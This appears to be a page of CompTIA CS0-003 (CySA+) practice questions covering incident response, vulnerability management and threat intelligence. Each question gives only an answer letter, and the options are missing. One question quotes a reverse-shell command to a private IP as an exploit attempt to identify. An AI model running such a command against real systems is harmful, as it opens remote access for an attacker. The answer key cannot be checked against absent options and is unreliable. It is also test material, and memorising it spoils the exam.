CompTIA's CS0-003 Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?
#31
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?
#32
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?
#33
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?
#34
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?
#35
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?
#36
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?
#37
Answer: B✅ Correct❌ Incorrect
CompTIA's CS0-003 A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$lWhich of the following is being attempted?
#38
Answer: B✅ Correct❌ Incorrect
CompTIA's CS0-003 An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?
#39
Answer: B✅ Correct❌ Incorrect
CompTIA's CS0-003 An analyst is reviewing a vulnerability report for a server environment with the following entries:Which of the following systems should be prioritized for patching first?
#40
Answer: D✅ Correct❌ Incorrect
CompTIA's CS0-003 A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?
#41
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?
#42
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?
#43
Answer: B✅ Correct❌ Incorrect
CompTIA's CS0-003 Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?
#44
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective?
#45
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 Which of the following would help to minimize human engagement and aid in process improvement in security operations?
#46
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select?
#47
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 Which of the following is an important aspect that should be included in the lessons-learned step after an incident?
#48
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?
#49
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?
#50
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?
#51
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?
#52
Answer: D✅ Correct❌ Incorrect
CompTIA's CS0-003 The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?
#53
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?
#54
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation? E. A rogue network device
#55
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?
#56
Answer: D✅ Correct❌ Incorrect
CompTIA's CS0-003 An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?
#57
Answer: A✅ Correct❌ Incorrect
CompTIA's CS0-003 An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?
#58
Answer: C✅ Correct❌ Incorrect
CompTIA's CS0-003 A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities: cAdditionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system?
#59
Answer: B✅ Correct❌ Incorrect
CompTIA's CS0-003 A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?